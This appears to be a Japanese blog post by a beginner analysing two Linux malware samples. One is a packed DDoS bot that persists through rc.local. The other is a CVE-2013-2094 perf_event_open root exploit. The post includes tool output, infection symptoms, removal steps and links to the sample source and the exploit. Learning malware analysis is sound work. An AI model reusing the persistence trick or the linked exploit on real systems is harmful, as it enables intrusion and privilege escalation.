以上から、gdb> dump binary memory code.bin 0x400000 0x405000を実行し、メモリをダンプしました。 strings ./code.binを実行すると、結果が以下のようになりました。(一部省略)

/lib64/ld-linux-x86-64.so.2
connect
system
GET
HTTP/1.1
Accept: text/html, application/xhtml+xml, */*

以上から、先程得られたプログラムはアンパック後のプログラムではないかと推測出来ます。

この実験から考えられること

  • プログラム内部で新たなプログラムを展開している。
  • 展開後、そのプログラムを実行している。
  • 元のプログラムのstringsの結果と一緒に考えると内部でUPXを実行していると考えられる。

まとめ

感染時の症状

  • /usr/local/netdがバックグラウンドで動いており、55555番ポートでtcp通信をしている。

感染時の対応方法

  • /etc/rc.d/rc.localから/usr/local/netd&と書かれている行を削除する。
  • /usr/local/netdを削除する。

このプログラムの挙動

上記の解析結果の他に、接続先を127.0.0.1に書き換えて実行し、straceでシステムコールを追いました。
以下の流れでプログラムが実行されているとわかりました。 1. 動かしたいプログラムを展開する。 2. 自身を/net/local/netdmvコマンドで移動させる。 3. /etc/rc.d/rc.localへ起動時に/net/local/netdがバックグラウンドで起動するように設定する。 4. connectにより接続に失敗した場合、1秒間sleepしたあと、再び接続を試みる。 5. 4.で接続に成功した場合、/sys/devices/system/cpu/onlineを読み込み、その内容をサーバーへ送信する。 6. その後、selectを実行してサーバーからの応答を待ち、応答が来ればrecvfromで応答を受け取る。 7. 再び6へ戻る。 また、DDos攻撃をするプログラムという情報は既知であるため、7以降の処理があると思います。
しかし、radare2を使って前述のgdbでダンプしたプログラムのアセンブリを呼んでも、call命令でどの関数が呼ばれているかなどといった情報が抜けており解析が困難であったため、これ以上わかりませんでした。

解析してわからなかった点

  • gdbでダンプする以外のアンパック方法がわかりませんでした。
  • 関数のフックをする際、フックする関数の機能を受け継いで、追加でデバッグ出力をしたかったのですがどのようにすればよいかわかりませんでした。

疑問点

  • DDosのプログラムなので接続が確立したら大量のパケットを送ると思っていましたがずっと入力待ちをしているので、コネクションの数を増やすことが目的なのでしょうか。
  • stringsを実行した際に"HTTP/1.1"などのHTTP通信に関わる文字列が出てきましが、通信に使用している用には思えませんでした。これは一種のマルウェア検知を回避する目的に使われているのでしょうか。

マルウェア解析2

解析

 

入手元

http://malwaredb.malekal.com/index.php?&hash=75caa89a5c3cd826d2698140e3e63583

情報

file

$ file 75caa89a5c3cd826d2698140e3e63583
75caa89a5c3cd826d2698140e3e63583: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=24a9c7ff847e476f21ff7ab7ee17ca274fc74c9c, not stripped

シンボルが削除されていません。

実行

実行してみました。

$ ./75caa89a5c3cd826d2698140e3e63583
exploit local PRIVAT compilat de ps
caut vulnerabilitatea...
75caa89a5c3cd826d2698140e3e63583: neah ... nu poti lua root pe asta

ltraceで実行すると、

__libc_start_main(0x400d7b, 1, 0x7ffd94938a58, 0x4010e0 <unfinished ...>
puts("exploit local PRIVAT compilat de"...exploit local PRIVAT compilat de ps
)                                = 36
puts("caut vulnerabilitatea..."caut vulnerabilitatea...
)                                           = 25
mmap(0x380000000, 0x10000000, 3, 50)                                       = 0x380000000
mmap(0x1780000000, 0x10000000, 3, 50)                                      = 0x1780000000
memset(0x1780000000, 'i', 268435456)                                       = 0x1780000000
memset(0x7ffd94938890, '\0', 80)                                           = 0x7ffd94938890
syscall(298, 0x7ffd94938890, 0, 0xffffffff)                                = -1
close(-1)                                                                  = -1
errx(1, 0x401280, 0xffffffff, -10475caa89a5c3cd826d2698140e3e63583: neah ... nu poti lua root pe asta
 <no return ...>
 +++ exited (status 1) +++

システムコールsys_perf_event_openを呼んでいました。

解析

objdump, radare2を用いて手動でデコンパイルをしました。(コンパイルはうまくいきません。)
こちらに結果を貼りました。https://pastebin.com/1LfEg4HR

デコンパイルしたコードが権限昇格系のプログラムのように見えたので、linux CVE perf_open privilegeで検索してみると、デコンパイル結果とかなり似ているexploitを見つけました。
https://www.exploit-db.com/exploits/26131/
このページによると、CVE-2013-2094を利用した権限昇格を目的としているそうで、ローカルユーザで実行するとルートとしてシェルを起動出来るようです。

詳しい解説http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/ こちらを読んでみましたが、IDTを書き換えてsetuid(0)を出来るようにし、ルートに権限昇格が出来ることしかわかりませんでした。 また,マルウェアの分類的にルートキットに含まれると思われます。

解析してわからなかった点

  • エクスプロイトの原理がわかりませんでした。なぜsetuid(0)が有効になるのでしょうか。

以上です。

感想

初めてマルウェア解析をしたので勉強になりました。